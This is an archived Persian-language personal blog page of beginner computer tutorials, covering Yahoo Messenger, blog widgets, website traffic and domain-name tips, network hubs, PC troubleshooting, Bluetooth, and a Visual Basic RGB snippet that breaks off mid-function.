تبليغاتX
کامپیوتر
آموزش کامپیوتر
ساراجانم تولدت مبارک
+ نوشته شده در  شنبه دوم آبان 1388ساعت 17:11  توسط حامد  | 

به نام خدا

برای تعجیل در فرج امام زمان و سلامتی رهبر انقلاب اسلامی صلوات.

سلام دوستانم

WWW.HamedCPU.blogfa.com

دوستان عزیزم چند معذرت خواهی به شما بدهکارم . اول .بابت قالب وبلاگ چون برای سریع بالا آمدن وبلاگ یه قالب ساده گذاشتم تا در کارش هم سرعت و هم صرفه جویی در وقت باشد و سریع به مطلب برسید.دوم .دیر آپ کردن وبلاگ ، مشکلات زندگی و بازی روزگار رو بدونید.

=> امید است به مطلب مورد نظر برسید و از این مطالب استفاده برده باشید .

تذکر => این مطالب متعلق به تجربه های فراوان استادان دانشگاه و دوستان ، البته دوستانی که ضریب هوشی 100 دارند رو جمع آوری نموده ام.

 

+ نوشته شده در  چهارشنبه بیست و نهم آبان 1387ساعت 4:11  توسط حامد  | 

آموزش نرم افزار یاهو مسنجر

یكی از امكانات موجود در اینترنت كه كاربران زیادی را به خود جلب كرده است ، امكان چت كردن با دیگران است. كلمه چت در اصطلاح به معنی گپ و گفتگو می باشد.
در سیستم جهانی اینترنت چت انواع مختلفی دارد كه از آن جمله می توان چت نوشتاری، صوتی و تصویری را نام برد. برخی از انواع نسخه های چت مبتنی بر صفحات وب بوده و برخی دیگر نیازمند استفاده از برنامه های خاصی هستند كه messenger ها از این دسته اند. این محیط ها شامل برنامه های جداگانه از مرور گر ها یا برنامه های تحت وب می باشد.
برنامه های تحت وب نیز شامل چت های جاوا و.......می باشند.
و اما برنامه های جداگانه از مرور گر ها (messenger ها) :
این برنامه ها دارای انواع مختلفی است كه از مهمترین و پر كاربرد ترین آنها می توان یاهو مسنجر را نام برد.
كه در اینجا قصد داریم بنا به درخواست كاربران روش استفاده از این برنامه را آموزش دهیم.البته مطالبی كه در این بخش ارائه شده اند برگرفته از سایت رهپویان وصال می باشد.

 

یاهو مسنجر چیست و چگونه آن را از اینترنت Download كنیم 

طرز درست كردن ID در یاهو مسنجر

شروع كار با یاهومسنجر و ورود به آن و اصطلا حاتOnlineو Offline
تست صداو اتصال به اینتر نتAudio Setup Wizard
اضافه كردن IDدیگر دوستان در مسنجر خود
ارسال پیام فوری به دیگر ID هاو توضیح در مورد ییام های Offline
استفاده از انواع چت نوشتاری ، صوتی و تصویری
استفاده از امكاناترنگ ، اندازه و تغییر فونت B,I,U
ایجاداشكال زیبا در یاهو مسنجر
بررسی بخش های Imviromentو Emotions
امكان چت با چندین نفر به صورت همزمان Invite
استفاده از گزینهIgnore (نادیده گرفتن یك ID )
فرستادن فایل از طریق یاهو مسنجر Send File
هشدار صدا یا !!!BUZZ
امكان استفاده از تلفن اینترنتی Mobile Friends & Call
چگونگی ورود به اتاق های چت عمومی Chatوساختن اتاق چت
امكان استفاده از موتورهای جستجو در یاهو مسنجر Search
تغییر وضعیت یا استفاده از پیامهای Status و توضیح در مورد گزینه Invisible (نامرئی شدن)
ساختن Profile وچگونگی استفاده از چند ID به صورت همزمان
توضیح در مورد قسمت Message Archive
استفاده از دیگر امكانات یاهو مسنجر از جمله چك كردن Email، تقویم ، هواشناسی و...
+ نوشته شده در  پنجشنبه بیست و نهم فروردین 1387ساعت 14:23  توسط حامد  | 

دوستان من به دلیل زیاد بودن حجم این وبلاگ قالب ساده گذاشتم ببخشید
+ نوشته شده در  یکشنبه بیست و پنجم فروردین 1387ساعت 15:19  توسط حامد  | 

سال 1387مبارک

انشاء سالی پر از شادی و بدون دردسر داشته باشید

+ نوشته شده در  یکشنبه هجدهم فروردین 1387ساعت 16:57  توسط حامد  | 

با توجه به توضیحاتی که در پستهای این وبلاگ در مورد استقاده از کدهای بی مصرف براتون شرح دادم ، در این پست و بقیه پستهای مربوطه میخوام کدهایی رو بهتون معرفی کنم که بیشتر کاربردی هستند

 الف ) قرار دادن فلش در وبلاگ

 

به سایت BLOGFA.COM بروید و وارد بخش مدیریتی وبلاگ خود شوید

اگر میخواهید فلش خود را به عنوان لوگو برای وبلاگتان در نظر بگیرید از منوی سمت راست روی تنظیمات وبلاگ کلیک کنید و کد زیر را در قسمت اسکریپت ها و کد های اختصاصی ، کپی کنید

اگر میخواهید فلش را در یکی از پستهای خود قرار دهید بعد از کلیک کردن بر روی گزینه HTML در بخش پست مطلب جدید ، کد زیر را وارد کنید

 

 

ب ) یک ساعت زیبا برای وبلاگ شما

 

به سایت BLOGFA.COM بروید و وارد بخش مدیریتی وبلاگ خود شوید . از منوی سمت راست روی تنظیمات وبلاگ کلیک کنید و کد زیر را در قسمت اسکریپت ها و کد های اختصاصی ، کپی کنید

 

 

ج ) اعلام وقت

 

به سایت BLOGFA.COM بروید و وارد بخش مدیریتی وبلاگ خود شوید . از منوی سمت راست روی تنظیمات وبلاگ کلیک کنید و کد زیر را در قسمت اسکریپت ها و کد های اختصاصی ، کپی کنید

 

 

د ) قفل کردن راست کلیک

 

 

 

 

هـ ) تماس با مدیر ( نمایش آدرس ای میل شما )

 

به سایت BLOGFA.COM بروید و وارد بخش مدیریتی وبلاگ خود شوید . از منوی سمت راست روی تنظیمات وبلاگ کلیک کنید و کد زیر را در قسمت اسکریپت ها و کد های اختصاصی ، کپی کنید . سپس کد کپی شده را به دقت مرور کنید و به جای عبارت آدرس ای میلتان را اینجا وارد کنید ، آدرس ای میلتان را بنویسید

 

 


 

+ نوشته شده در  سه شنبه بیست و یکم اسفند 1386ساعت 15:50  توسط حامد  | 

در صورتی که مایلید این سایت را به دوستان خود معرفی کنید لطفا فرم زیر را تکمیل فرمایید:
 





 

+ نوشته شده در  سه شنبه بیست و یکم اسفند 1386ساعت 15:44  توسط حامد  | 

 

+ نوشته شده در  دوشنبه بیستم اسفند 1386ساعت 12:53  توسط حامد  | 

ده قدم براي افزایش ترافیک وب سايت

ميدونم که شما به چي فکر ميکنيد ، خوبه ، يک مقاله ديگه درباره ايجاد کردن آمد و شد در وب سايت . خوب اين مهم است که وب سايت شما داراي ترافيک باشد . اين يک محيط غير حساس ايجاد ميکند براي داشتن يک وب سايت که بيش از همه مفيد است و در جهان کسي در مورد آن چيزي نمي داند . اين مقاله 10 روش کم هزينه براي ايجاد ترافيک در وب سايت شما معرفي ميکند . لذت ببريد.

1- لينک هاي خود را با سايت هايي که حاوي مطالبي مشابه مطالب شما است ، داد و ستد کنيد .

وقتي که بازديد کنندگان براي شما مهم باشند ، مسلما بازديد کنندگان هدف دار براي شما واقعا مهم هستند . اگر وب سايت شما در مورد سگها است ، اين کار احمقانه اي است که لينک هاي خود را با سايتهايي متعلق به مردمي هست که از سگ متنفرند ، معاوضه کنيد . براي آنکه اين يک عمل ضد پيشرفت است و عاقلانه نيست .نه ، اين روش داد و ستد لينک ها براي کار نيست .بهتره اين کار با سايت هايي انجام شود که موضوعي را پوشش ميدهند که با موضوع شما مرتبط است .

2- انتشار يک وبلاگ

پرداختن به منافع يک وبلاگ از اين موضوع اين بحث خارج است و من وقت توضيح آن را ندارم . فقط ميدونم که موتور هاي جستجو به وبلاگ ها علاقه دارند که دارندگان وب لاگها را با ديگر وبلاگ داران بطور مکرر به هم متصل کنند .

3- انتشار خبرنامه خودتان

اکنون من ميدونم شما چي فکر ميکنيد . انتشار يک خبرنامه ؟ به نظر مي رسه که کار زيادي نميتونه انجام بده . خوب بله ميتونه . ولي اگرشما خبرنامه تان را در مورد چيزهايي که ار آن سود ميبريد بنويسيد ، ابدا خوب کار نخواهد کرد . مطالبتان را خارج از کاغذ يا يک محيط خاص نميتوانيد بنويسيد ؟ در اين مورد نگران نباشيد ، در اينترنت مکانهاي online فراواني هست که شما ميتونيد که از آنجا مطالب رايگان در دسته بندي هاي منظم را متوانيد دريافت کنيد . فقط کافيست به موتور جستجو مورد علاقه تان مراجعه کره ور در فهرست مقاله ها مورد نظر را تايپ کنيد . و شما از تعداد مواردي که در نتيجه جستجو مي آيد قطعا متعجب خواهيد شد .

4- عرضه کردن رايگان بعضي از مطالب که به موضوع اصلي شما مرتبط است .

مردم freebies را دوست دارند . مطمعن شويد که مطالب شما با کيفيت است و به موضوع اصلي شما مرتبط است . اين خوب است که شما قبل از دريافت freebies توسط کاربر آدرس ايميل کاربر را بخواهيد . اين راه خوبي براي جمع آوري سريع ليست افرادي که به موضوعات سايت شما علاقه دارند ميباشد .

5- مبادله کردن تبليغات با ديگر منتشران مجله الکترونيکي

مجله هاي الکترونيکي که با موضوع شما مطابق هستند را جستجو کنيد و تبليغات خود را با آنها مبادله کنيد . بعضي منتشران با اين نوع مبادله براي مدت کوتاهي موافقت ميکنند ، مخصوصا اگر مخارجي را هم تقبل کنيد .

6- شرکت کردن در محل هاي اجتماع عمومي در اينترنت online forums

7- منتشر کردن آدرس وب سايت در هر چيزي که پخش ميکنيد ، کتاب ، کارت ويزيت ، کاتالوگ و بروشور

8- مطالعه هر چيزي که به شما در مورد ايجاد آمد شد در وب سايت کمک کند .

اين شديدا مهم است که در اين مورد مطالعه کنيد چون اينترنت دقيقه به دقيقه تغيير ميکند .ثبت نام کردن در مجله هاي الکترونيکي ، خواندن کتابهاب الکترونيکي ، و خواندن مطالب موجود در forums . تمام اين منابع به شما کمک ميکند تا همچنان در جريان آخرين تحولات و اخبار در اينترنت باشيد .



9- پرسيدن سوالاتي که در مورد آنها فگر ميکنيد از فروشگاه هاي اينترنتي

بعضي از فروشگاه هاي اينترنتي ميتونند شما را براي موفقيت راهنمايي کنند ، خصوصا اگر با آنها آشنا نيز باشبد . اگر انها به شما را در راه موفقيت کمک کنند ، آنها نيز موفق ميشوند . فراموش نکنيد فقط سوالهاي بي اهميت سوالهاي پرسيده نشده هستند .

10- وقتي که شما ايده جديدي به ذهنتان خطور کرد ، از آن استفاده کنيد .

بهتره که اين خارج از فقط يک حرف باشد ولي اگر ايده جالبي به ذهن شما رسيد متوانيد در هنگامي که تحقيقتان را انجام مي دهيد به سادگي آن را انجام داده و از تمام آن استفاده کنيد . چرا شما تمام تحقيق را در اولين مرتبه انجام ميدهيد ؟

10 مطلب مهم برای انتخاب یک نام خوب برای دامنه (Domain Name)

چگونه می توان یک نام خوب برای دامنه انتخاب کرد؟ خوب البته این یک موضوع ذهنی است ،اما برای یک انتخاب خوب باید این ده نکته را در نظر گرفت .
1- نام دامنه خوب به راحتی به ذهن سپرده می شود و به راحتی نیز تایپ می شود. بطورکلی یعنی یک نام کوتاه انتخاب کنید.
2- در صورت امکان هجی ها باید از هم جدا شوند.وقتی BetterWritingSkills را به عنوان یک نام دامنه انتخاب کردم ، عمدا هجی ها را در نظر نگرفتم . موافقم با اینکه اگر به شکل Better-Writing-Skills انتخاب کرده بودم خیلی راحت تر خوانده می شدند، ولی مشکل اینجاست که گفتن این نام به این شکل خیلی مشکل است. اگر کسی آدرس وب من را بپرسد و من جواب بدهم Better خط تیره Writing خط تیره Skills دات Com مطمئنا انتظار ندارم این آدرس را به خاطر بسپارد. اکثرنامهای دامنه خط تیره ندارند. بنابراین وقتی اسم دامنه تان را به کسی می گویید اکثرا آن را بدون خط تیره تایپ می کنند.
3- بهتر است شکل جمع کلمات را انتخاب کنید البته اگر مناسب با موضوع باشد. مثلا اگر قطارهای اسباب بازی می فروشید ، من toytrains.com را انتخاب می کنم بجای toytrain.com .
4- برنامه های جستجوی نام دامنه می توانند برای انتخاب نامهای مختلف به شما کمک کنند. یکی از این برنامه ها Mozzle Std 2.30 که می توانید آن را از آدرس زیر بصورت رایگان دریافت نمایید:
http://www.simtel.net/pub/pd/54228.html
وقتی برای انتخاب یک نام دامنه فکر می کنید برنامه هایی مثل این برنامه کمکهای بزرگی هستند برای انتخاب بهترآن.
5- اگر محصولات یا خدماتتان را برای مصرف کننده های یک کشور خاص بازار یابی می کنید ، حتما از دامنه های top-level آن کشور استفاده کنید.
مثلا اگر خرده فروشی محصولی درنیوزلند انجام می دهید از دامنه های .nz و درایران ازدامنه های .ir استفاده کنید. این به شناخت محلی بودن سایت شما خیلی کمک خواهد کرد. از طرف دیگر اگر محصولات یا سرویسهای خود را می خواهید جهانی بازاریابی کنید از دامنه های .com استفاده کنید.

6- از کلمه هایی که هجی مشکلی دارند استفاده نکنید. به عبارتی از کلمه هایی که بصورت متفاوت در بقیه کشورها هجی می شوند استفاده نکنید.برای مثال ColorChart.com ممکن است برای کسانی که در بعضی از نقاط دیگر آمریکا زندگی می کنند بصورت ColourChart.com باشد.
7- مطمئن شوید که اسم دامنه ای که انتخاب می کنید نام تجاری شرکتی نباشد یا اینکه مشکلات قانونی از این قبیل نداشته باشد.
8- اسامی که مارک هستند مانند (BarnesAndNoble.com) شاید بهتر از نامهای عمومی مانند Books.com باشند. سالیان زیاد همه بر این باور بودند که نامهای عمومی ارزش و اعتبار خیلی زیادی دارند .( مثلا در دهه 90 بعضی از نامهای عمومی به قیمتهای چند میلیون دلار خرید و فروش میشد).
جدیدا ، تحلیلگران این رشته استدلال می کنند که انتخاب دامنه ای که نام تجاری شما را بیشتر نمایان کند خیلی مهم است. مثلا اگر شما سرمایه گذاری زمانی و پولی برای جا انداختن نام (مارک) خود (مثلاToyota ) کرده اید بهتر است نام Toyota.com را برای وب سایتتان انتخاب کنید بجای یک نام عمومی از قبیل GreatCars.com .

9- از انتخاب نامهای خیلی مشابه با نامهای موجود اجتناب کنید.نه فقط به دلیل مورد 7 ، چرا که می خواهید نام تجاری خود را بیشتر از رقبایتان جا بیاندازید.
10- به خاطر داشته باشید که شما مالک نام دامنه خود نیستید. شما فقط برای مدت زمان محدودی این نام را اجاره می کنید . مواظب باشید نام دامنه تان منقضی نشود یا اینکه ممکن است رقبای شما آن را از چنگ شما در بیاورند

+ نوشته شده در  سه شنبه هفتم اسفند 1386ساعت 16:55  توسط حامد  | 

9 مشخصه‌اي كه يك وب سايت نبايد داشته باشد!

عموماً وقتي از سايت شما صحبت مي‌شود، نبايد هيچ كم و كسري در آن وجود داشته باشد. اما خيلي كم به آن چه كه نبايد در وب‌سايت باشد، پرداخته شده است. اين مساُله تاُثير منفي بر عملكرد سايت دارد، زيرا برنامه‌ريزي ضعيف و غافل شدن از سايت، ممكن است به از دست دادن شغل، مسايل امنيتي، ترافيك كم و ساير مشكلات منجر شود.
البته اين مشكلات قابل جلوگيري هستند. و اين هم 9 عاملي كه بايد از آنها اجتناب كنيد:

1- گذاشتن عكس خود در صفحه‌ي اصلي.
با وجود آن كه عكس شما يك نوع خوشامدگويي به بازديدكنندگان شمار مي‌آيد، برخي كارشناسان عقيده دارند، اين عكس، دليل حضور بازديدكنندگان را در سايت شما كم رنگ مي‌كند. لارينا كيس، رييس بخش كارشناسي موفقيت و عملكرد ـ يك موسسه‌ي مشاوره در فيلادلفيا ـ در اين‌باره مي‌گويد:”ديدن اين عكس، مانند ملاقات يك شخص جديد است، و به جاي پرداختن به مسايل بازديدكنندگان، مثل اين است كه به آنها بگوييد:”من چقدر در عكس، عالي هستم“. وب سايت شما بايد تماماً درباره‌ي بازديدكننگان باشد و نه در مورد شما. قبل از هر چيز بايد آنها را به سايت، علاقمند كنيد“.

2- زياده رو ي در پخش قطعات ديداري و شنيداري.
اين مورد شامل هر قطعه‌ي ديدني و شنيدني مي‌شود. از يك طرف تصاوير متحرك گيج كننده در صفحه‌ي اصلي واز طرف ديگرهر نوع عكس، از مشتريان سايت گرفته تا موش خانگي شما. مورد اول چيزي بيش از بهره‌گيري بيهوده از فن‌آوري جديد نيست و مثال آخر، گمراه شدن از مسير فعاليت‌هاي حرفه‌اي است. گذشته از اين، بارگذاري موسيقي‌هاي پرزرق برق و پر سر و صدا مدت زياد‌ي طول مي‌كشد و همين امر، بازديد كنندگان سايت شما را فراري مي‌دهد.
روت آترلي( يكي از شركاي اصلي مركز استراتژي‌هاي خلاق،يك آژانس ارتباطات مردمي در ريچموند،ب،س،كانادا) مي‌گويد: ”داشتن يك سايت با فن‌آوري قوي براي بسياري از وب سايت‌ها ضروري است، اما براي حضور تكنولوژي بايد دليلي مهم‌تر از تحت تاثير قراردادن مردم، وجود داشته باشد.

3- وجود گزينه‌هاي گيج‌كننده‌ي فراوان.
به شما حق مي‌دهم، چرا كه مي‌خواهيد صفحات و مطالب گوناگون زيادي به بازديدكنندگان سايت خود ارايه دهيد. اما ساختار سايت بايد به اندازه‌ي كافي ساده باشد، تا بازديدكنندگان گيج و سر در گم نشوند. كيس در اين باره مي‌گويد:”از تنظيم فهرست انتخابي با حدود 20 گزينه‌ي انتخابي خودداري كنيد، افراد،در هر بار مي‌توانند بين 5 تا 9 مطلب را به خاطر بسپارند. سعي كنيد از اين حد فراتر نرويد، چون در غير اين صورت،آنها گيج شده، سايت شما را ترك مي‌كنند.“

4- اطلاعاتي كه ممكن است به حريم شخصي افراد و مسايل امنيتي لطمه وارد كند.
البته اين مساُله تا حد زيادي به ماهيت وب سايت، شغل و كنارآمدن شما با قضايا بستگي دارد. در هر صورت ضروري است، كه مطالب وب سايت خود را خوب بررسي كنيد، تا اطلاعاتي كه به مسايل شخصي و مسايل امنيتي لطمه وارد مي‌كند، و همچنين مورد علاقه‌ي هكرها است در آن موجود نباشد. در ابتدايي ترين مراحل، بايد از گذاشتن عكس‌ها، آدرس‌هاي ايميل و جزييات شخصي كاركنان در وب سايت خودداري كنيد. همچنين، چگونگي طراحي ساختار URL و صفحه‌ي پيغام ايراد 404 نوع سرور يا پشتيبان شما را براي افراد، آشكار مي‌سازد. اين‌ها چيزهايي است كه هكرها نبايد بدانند. حتي در انتشار اطلاعات درباره‌ي توليدات، كارشناسان وب، توصيه مي‌كنند، فقط از نكاتي كه مشتريان را به خريد ترغيب مي‌كند؛ استفاده كنيد و نه نكاتي كه اطلاعات شركت را به خارج انتقال دهد. سعي كنيد، در اسرع وقت از يك كارشناس وب يا يك وكيل استفاده كنيد، تا نكاتي كه امكان سوء استفاده از آنها در سايت وجود دارد؛ را بررسي كند. از اين هم فراتر رفته، مي‌توانيد يك كارشناس امور امنيتي در سايت خود داشته باشيد.

5- گذاشتن اطلاعاتي در وب سايت كه به سود رقباي شما باشد.
مسئولين بخش برنامه‌ريزي اطلاعات يك وب سايت، بايد مانند دزدها فكر كنند. به اين ترتيب، احتمال اين كه اين افراد، برنامه‌هاي اطلاعاتي را طراحي كنند كه مورد علاقه‌ي رقيبان سايت باشد، از يبن مي‌رود. برخي بخش‌هاي اطلاعاتي در نوع خود بي‌ضرر هستند، اما در تركيب با يكديگر، مي توانند مطالب زيادي را درباره‌ي فعاليت‌هاي شغلي، شركاي استراتژيك، مشتري‌هاو ساختار دروني سازمان شما آشكار سازند. در اين جا هم حضور يك كارشناس بسيار سودمند است.

6-سخنان نامفهوم و كلمات فني پيچيده.
هدف اصلي بيشتر وب سايت‌ها آگاه ساختن مشتريان از نحوه فعاليت‌هاي سايت و چگونگي ارائه خدمات و توليدات به مشتريان است. وقتي در سايت خود از زباني فني يا اصطلاحاتي نامفهوم استفاده مي‌كنيد به طوري كه اكثر مردم از درك آنها عاجزند در حقيقت به كار بيهوده‌اي دست زده‌ايد. از بياني شيوا و مستقيم استفاده كنيد. شرهورويتس متصدي امور تبليغات و نويسنده‌ي كتاب اصول كسب درآمد: بازاريابي با رعايت حقوق مشتري در اين باره مي‌گويد: استفاده از كلمات پيچيده يا زياده گويي در اينترنت امري عادي است. اما اين مسأله با صداقت‏، كيفيت محصولات و درستكاري فعاليت‌هاي شما مغايرت دارد.

7- مطالبي كه شغل شما را بهتر از آنچه كه هست نشان مي‌دهند.
مطمئناَ قصد شما فروش اجناس از طريق وب سايت است. اما بازاريابي ـ فوت و فن فروش و تعاريف اظهار نظرهاي مشتريان ـ كه بيشتر از آگاهي دادن و جذب مردم به لاف زدن مي‌پردازد؛ فقط بازديد كنندگان را فراري مي‌دهد. آترلي مي‌گويد : ”وب سايت خود را با تبليغات پر نكنيد بلكه آن را به شكل يك مكالمه دو طرفه بين خود و بازديد كنندگان طراحي كنيد“.

8- مكان‌هاي گفتگوي بدون نظارت.
اگر قصد داريد يك محيط گفتگو ايجاد كنيد، از يك ناظر براي پذيرفتن موارد احتمالي استفاده كنيد به اين ترتيب از هرز نامه‌ها، درخواست‌هاي خلاف عرف، نقض حريم امنيتي و ساير درد سرها دوري مي‌كنيد.

9- لينك‌هاي به درد نخور و مطالب قديمي.
هيچ چيز به اندازه اطلاعات نامربوط و قديمي بازديد كنندگان سايت را گمراه نمي‌كند. همين اتفاق در مورد لينك‌هايي صادق است كه افراد را به صفحات غلط هدايت مي‌كند. به طور منظم سايت خود را بررسي كرده و لينك‌هاي تغيير يافته و از رده خارج را شناسايي كنيد.

+ نوشته شده در  سه شنبه هفتم اسفند 1386ساعت 16:51  توسط حامد  | 

هاب (HUB) :


کار اصلی اين دستگاه اتصال دستگاههای موجود در شبکه برای ارتباط با يکديگر و گرفتن سرويس می باشد.


HUB ها انواع گوناگونی دارند. آنها را با نوع سرعت و تعداد پورت شناسايی ميکنند. مثلاٌ انواع 32 , 16 , 8 و .... پورته آن را می توانيد در بازار پيدا کنيد. همچنين بسته به نوع شبکه ای که در آن کار می کنيد می توانيد HUB مورد نظر خود را از نوع 10/100 يا 10/1000 و غيره انتخاب کنيد.





هاب های 10/100 مخصوص شبکه های اترنت ( Ethernet ) و هاب های 10/100 مخصوص شبکه های Fast Ethernet می باشند. SHUB ها علاوه بر داشتن قابليت های يک هاب دارای توانمندی ديگری بنام SWITCH می باشند. يعنی دارای قدرت تصميم گيری بالايی هستند و می توانند با داشتن پورت اضافی يک اينترنت را به يک شبکه وصل کنند. يک هاب سرعت ارسال packet ها را بالا می برد و در صورت نرسيدن يک بسته آن را مجدداً ارسال می کند.


بسته های ارسالی از طرف client ها با آدرس مبدأ و مقصد وارد هاب می شوند و اين هاب است که باخواندن آنها هريک را به مقصدخود هدايت می کند. انواع مختلف هاب عبارتند از : 3com , Rockwell , Compex , D-Link و... هاب نقش متمرکز کننده را در يک شبکه اترنت ايفا می کند. وقتی يک هاب بسته ای را در يکی از پورت های باقيمانده هم می رساند تا تمام کامپيوترهای LAN بتوانند کل ترافيک شبکه را ببينند.



+ نوشته شده در  دوشنبه ششم اسفند 1386ساعت 21:18  توسط حامد  | 

آنچه در اين آموزش مي خوانيد، يك راهنماي جامع براي عيب زدايي از كامپيوترتان نيست اما مي تواند شما را به سمت يافتن مشكل كامپيوتر راهنمايي كند.
اگر بعد از فشردن دكمه power، كامپيوتر روشن نشد . بررسي كنيد آيا سيم برق متصل است؟ آيا سر ديگر سيم برق متصل شده است؟ سوييچي كه در پشت كامپيوترتان وجود دارد چك كنيد. از اتصال صحيح منبع تغذيه به مادربرد اطمينان حاصل كنيد. كابل برق فلاپي را چك كنيد. اگر هيچ يك از اين كارها نتيجه نداد در مرحله بعد هر چيزي را كه به مادربرد متصل است به غير از كابل برق، سيم دكمه power، كارت گرافيك، حافظه RAM و CPU را جدا كنيد. اگر باز هم سيستم بالا نمي آيد يك يا دو قطعه از سيستم شما معيوب است. در اين مورد به احتمال زياد مادربرد يا منبع تغذيه Case شما اشكال دارد.

اگر سيستم روشن مي شود ولي بوق نمي زند يا بالا نمي آيد , ابتدا همه اتصالات را چك كنيد و دوباره امتحان كنيد. در صورتي كه اين عمل مؤثر نبود، بهترين كار اين است كه مانند بالا همه چيز را به غير از سيم دكمه power، كارت گرافيك، حافظه RAM و CPU را از مادربرد جدا كرده و دوباره امتحان كنيد. اگر كامپيوتر به خوبي شروع به كار كرد كامپيوتر را خاموش كنيد و هر بار يك قطعه را متصل كرده و سپس كامپيوتر را روشن كنيد تا جايي كه مشكل را پيدا كنيد ولي اگر كامپيوتر اصلا‎‎ً روشن نشد احتمالاً يك يا چند قطعه معيوب داريد(CPU ،RAM، مادربرد و منبع تغذيه).

كامپيوتر روشن مي شود و متناوبا‎ً بوق مي زند، بالا مي آيد , ببينيد آيا حافظه RAM شما بدرستي نصب شده است اگر لازم است آن را بيرون آوريد و دوباره جا بزنيد.

سيستم روشن مي شود يك سري بوقهاي سريع مي زند، بالا نمي آيد , ببينيد آيا كارت گرافيك به درستي روي اسلات AGP نشسته است يا خير.اگر مقدار كمي از كارت گرافيك خارج از اسلات AGP باشد سيستم بالا نمي آيد.

چند مشكل ديگر هم وجود دارد كه بوسيله اين بوقها شناسايي مي شود اما دو مورد بالا معمول ترين موارد هستند.

اگر سيستم بالا مي آيد ولي مشكلاتي را مشاهده مي كنيد در اين جا دو مشكل عمده ذكر مي شود. كامپيوتر شما در هنگام نصب سيستم عامل بارها از حركت باز مي ايستد علت آن مي تواند گرماي CPU باشد بخصوص CPU هاي شركت AMD يا CPU هاي قديمي تر شركت INTEL. چك كنيد آيا فن CPUبخوبي عمل مي كند و چك كنيد آيا هيت سينك (قطعه آلومينيومي كه روي CPU نصب شده و معمولاً رنگ سياه دارد) بخوبي نصب شده است و با سطح CPU كاملاً موازي است. مطمئن شويد از هيت سينكي استفاده مي كنيد كه ساخت سازنده CPU شماست. هيت سينك اگر درست نصب شود بيش از آنچه نياز است خنك كاري انجام مي دهد.

مشكلات زيادي در سيستم عامل همراه با صفحات آبي كه ظاهر مي شود داريد , خطاهايي كه در هنگام كپي كردن فايل هاي Set up بوجود مي آيند بخصوص در ويندوز 2000 و XP، به احتمال زياد نشانه وجود مشكل در حافظه RAM شماست. اين امكان هم وجود دارد كه مشكل از هارد ديسك شما باشد اگر خطاها همراه با صفحات آبي است كه در آنها Page Fault ديده مي شود يقيناً مشكل از حافظه RAM شماست.
+ نوشته شده در  پنجشنبه دوم اسفند 1386ساعت 17:14  توسط حامد  | 

Bluetooth كه بعضي ها در فارسي آن را به دندان آبي ترجمه كرده اند. استانداردي براي امواج راديويي است كه كه براي ارتباطات بي سيم امپيوترهاي قابل حمل و نقل (مانند lap top ها) و تلفن هاي همراه و وسايل الكترونيكي رايج استفاده مي شوند اين امواج براي فاصله هاي نزديك استفاده مي شوند و براي ارتباطات بي سيم تكنولوژي ارزاني محسوب مي شوند. و بوسيله اين تكنولوژي مي توانيد بين دو وسيله كه داراي اين تكنولوژي باشند به صورت بي سيم پيغام، عكس يا هر كلاً اطلاعات رد و بدل كنيد. راديوي Bluetooth در داخل يك ميكرو چيپ قرار دارد و در باند فركانسي 2.4 گيگا هرتز عمل مي كند. اين تكنولوژي از سيستم "Frequency Hoping Spread Spectrum" استفاده مي كند، كه سيگنال آن 1600 بار در ثانيه تغيير مي كند كه كمك بزرگي براي جلوگيري از تداخل ناخواسته و غير مجاز است. علاوه بر اين بوسيله نرم افزار كد شناسايي وسيله طرف مقابل چك مي شود. بدين ترتيب مي توان اطمينان حاصل كرد كه اطلاعات شما فقط به مقصد مورد نظر مي رسد. اين امواج با دو قدرت وجود دارند.
سطح قدرت پايين تر كه محيطهاي كوچك را مي تواند پوشش دهد ( مثلاً داخل يك اتاق ) يا در نوع با قدرت بالاتر كه رنج متوسطي را مي تواند پوشش دهد. ( مثلاً كل يك خانه را متواند پوشش دهد. ) اين سيستم هم براي ارتباط نقطه به نقطه و هم براي ارتباط يك نقطه با چند نقطه مي تواند استفاده شود. داراي پهناي باند 720Kbs و 10 متر قدرت انتقال (در صورت تقويت تا 100 متر قابل افزايش است ) مي باشد. اين تكنولوژي كه از سيستم گيرندگي و فرستندگي در جهت مناسب استفاده مي كند. قادر است امواج راديويي را از ميان ديوار و ديگر موانع غير فلزي عبور دهد. اگر امواج مزاحم دستگاه ثالثي باعث تداخل شود انتقال اطلاعات كند مي شود ولي متوقف نمي شود. با سيستمهاي امروزي بيش از 7 دستگاه مي توانند براي برقراري ارتباط با توليد كننده امواج در يك دستگاه ديگر فعال شوند.

به اين شيوه Piconet مي گويند چندين piconet را مي توان به يكديگر متصل كرد كه يك scatternet را تشكيل مي دهند. Bluetooth SIG سازمان Bluetooth SIG يا Special interest group در سال 1998 بوسيله سوني اريكسون، IBM، Intel، نوكيا توشيبا بوجود آمد. و پس از آن شركتهاي تري كام، Lucent، مايكروسافت و موتورولا و بيش از 2000 كمپاني ديگر به اين سازمان پيوستند. فرايند صدور جواز و گواهينامه: قبل از اينكه يك كارخانه بتواند محصولي كه از تكنولوژي بي سيم Bluetooth استفاده مي كند وارد بازار كند بايد جواز آن را از دو جهت دريافت كند. ابتدا محصول مورد نظر استانداردهايي لازم دارد كه بتواند با دستگاههاي ديگر كه داراي تكنولوژي بي سيم Bluetooth هستند ارتباط برقرار كند. ديگر اينكه بايد مجوزهاي لازم براي اين سيستم چه در كشور سازنده و چه در كشوري كه محصول به فروش مي رود مجوزهاي قانوني آنها را دريافت كند.
+ نوشته شده در  پنجشنبه دوم اسفند 1386ساعت 17:11  توسط حامد  | 

+ نوشته شده در  پنجشنبه دوم اسفند 1386ساعت 16:57  توسط حامد  | 

بدست آوردن كد RGB  رنگ مورد نظر

يك پروژه جديد باز كنيد و يك شي CommonDialog از قسمت Components ها به فرمتون اضافه كنيد و كد زير رو تو قسمت جنرال فرمتون كپي كنيد :


Private Sub Form_Click()
    CommonDialog1.ShowColor
    Red = ConvertToRGB(CommonDialog1.Color, 0)
    Green = ConvertToRGB(CommonDialog1.Color, 1)
    Blue = ConvertToRGB(CommonDialog1.Color, 2)
    Me.Cls
    Print "R = " & Red
    Print "G = " & Green
    Print "B = " & Blue
End Sub

Private Sub Form_Load()
    Me.AutoRedraw = True
    CommonDialog1.Flags = 2
End Sub

'----------------------------------

Public Function ConvertToRGB(ByVal Colors As Long, ByVal Index As Integer) As Long
    Dim Red As Integer, Green As Integer, Blue As Integer
    Dim lngColor As Long
   
    lngColor = Colors
    Red = lngColor Mod &H100 ' &H100 = 256
    Green = (lngColor \ &H100) Mod &H100
    Blue = lngColor \ &H10000 ' &H10000 = 65536 = (256*256)
   
    If Index = 0 Then ConvertToRGB = Red
    If Index = 1 Then ConvertToRGB = Green
